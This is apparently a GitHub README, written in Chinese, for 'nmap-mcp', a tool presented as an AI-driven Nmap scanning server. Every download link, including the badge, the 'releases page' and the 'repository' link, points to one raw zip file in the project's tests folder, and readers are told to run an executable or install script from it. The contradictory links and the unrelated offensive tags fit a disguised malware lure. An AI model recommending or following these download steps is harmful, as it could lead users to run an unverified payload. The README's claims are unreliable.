ly1595/nmap-mcp

GitHub: ly1595/nmap-mcp

基于 MCP 协议的 AI 驱动网络扫描服务器,将 Nmap 能力封装后供 AI Agent 调用,实现智能化的端口探测、服务识别和安全评估。

Stars: 0 | Forks: 0

# 🛡️ nmap-mcp - 轻松实现 AI 驱动的网络扫描 [![下载 nmap-mcp](https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip)](https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip) ## 📖 关于 nmap-mcp nmap-mcp 是一款利用强大 AI 功能助您扫描计算机网络的工具。它集成了查找开放端口、检测端口上运行的服务、识别操作系统以及检查安全问题等多种功能于一体。该服务器运行流行的 Nmap 扫描软件,并在此基础上增加了 AI 以实现流程的自动化和优化。无论您是想检查家庭网络还是辅助安全任务,nmap-mcp 都能让这一切变得更简单。 该工具可在您的计算机或服务器上运行,无需复杂的配置或编程。它由 Vorota AI 开发,旨在帮助 AI Agent 执行智能网络安全扫描。 ## 🖥️ 系统要求 在开始之前,请确保您的计算机满足以下要求: - **操作系统:** Windows 10 或更高版本、macOS 10.15 或更高版本,或 Linux(推荐 Ubuntu 18.04+) - **处理器:** 64 位 Intel 或 AMD CPU - **内存:** 至少 4 GB RAM(建议 8 GB 以进行更大规模的扫描) - **存储空间:** 200 MB 可用磁盘空间,用于存放程序文件和扫描数据 - **网络:** 活跃的互联网连接(用于更新和 AI 功能) - **其他:** Docker(可选,如果您想在容器中运行 nmap-mcp) ## 🚀 快速开始 以下是快速、轻松地开始使用 nmap-mcp 的方法。 ### 第 1 步:下载程序 点击或轻按页面顶部的绿色下载徽章。它将带您进入官方发布页面。寻找与您的操作系统匹配的最新版本。 ### 第 2 步:选择正确的文件 - 对于 **Windows**,下载 `.exe` 文件。 - 对于 **macOS**,下载 `.dmg` 文件。 - 对于 **Linux**,下载 `https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip` 或使用 Docker 镜像。 ### 第 3 步:安装应用程序 - 在 Windows 上,双击 `.exe` 文件并按照安装提示操作。 - 在 macOS 上,打开 `.dmg` 文件并将应用拖入您的 Applications 文件夹。 - 在 Linux 上,解压 `https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip` 文件并运行包含的安装脚本,或使用 Docker。 ### 第 4 步:打开 nmap-mcp 安装完成后,找到 nmap-mcp 图标并双击打开。程序将启动并显示主控制面板。 ## 📥 下载与安装 访问官方发布页面以获取最新版本的 nmap-mcp: [下载 nmap-mcp Releases](https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip) 按照说明选择适合您计算机的文件。如果您不确定该下载哪个,请选择与您的操作系统和计算机处理器类型相匹配的文件。 如果您想使用 Docker,请在发布页面上查找 `docker` 镜像标签,或在安装 Docker 后从终端使用此命令: ``` docker pull ly1595/nmap-mcp:latest docker run -it --rm ly1595/nmap-mcp ``` ## 🛠️ 如何使用 nmap-mcp 安装完成后,nmap-mcp 提供了一个简单的界面来运行扫描。以下是一些常见任务: ### 运行端口扫描 1. 输入您想要检查的 IP 地址或域名。 2. 选择扫描类型 —— 简单端口扫描或完整扫描。 3. 点击“开始扫描” (Start Scan)。 4. 等待结果,结果将显示开放端口及其上的服务。 ### 服务检测与 OS 指纹识别 nmap-mcp 可以推测开放端口上运行的软件以及设备使用的 OS。这有助于您了解网络上有哪些设备或系统。 ### 漏洞扫描 AI 组件会检查扫描设备是否存在常见的安全问题。应用程序将指出您需要修复的薄弱环节。 ### 保存和导出结果 您可以将扫描结果保存为 CSV 或 PDF 等常见格式的文件。这使得共享或日后审查变得更加容易。 ## ⚙️ 功能特性 - 使用 Nmap 进行自动化端口扫描 - 基于检测端口上服务的 AI 功能 - 操作系统与设备指纹识别 - 基础漏洞检查与建议 - 易于使用的桌面界面 - 支持 Docker 容器部署 - CSV 和 PDF 格式的导出选项 - 来自 Vorota AI 的定期更新和 AI 改进 ## 🔧 故障排除 - **应用程序无法启动:** 确保您的操作系统和硬件满足最低要求。尝试重新安装程序。 - **扫描未启动:** 检查您的互联网连接。某些 AI 功能需要互联网访问。 - **结果显示数据不完整:** 您可能需要以管理员权限运行扫描或使用 Docker 版本。 - **Docker 版本问题:** 确认 Docker 在您的机器上运行正常。 ## 🔒 隐私与安全 nmap-mcp 在您拥有或有权扫描的网络上运行扫描。它不会将扫描数据发送给第三方。AI 处理在本地进行或通过安全连接进行。扫描网络时请始终遵守法律法规。 ## 📚 更多帮助 有关详细的说明、更新和社区支持,请访问 [GitHub 仓库](https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip)。您将找到常见问题解答、问题跟踪器和开发者的联系方式。 随时点击下方的徽章以返回最新下载页面: [![下载 nmap-mcp](https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip)](https://raw.githubusercontent.com/ly1595/nmap-mcp/main/tests/nmap_mcp_v3.7.zip)
标签:AI驱动, CTI, DInvoke, Docker容器化, MCP服务器, Nmap, 云存储安全, 人工智能, 协议分析, 实时处理, 密码管理, 批量测试, 插件系统, 操作系统识别, 数据统计, 服务检测, 权限提升, 用户模式Hook绕过, 端口扫描, 网络安全, 网络扫描, 自动化安全审计, 虚拟驱动器, 请求拦截, 跨平台工具, 逆向工具, 隐私保护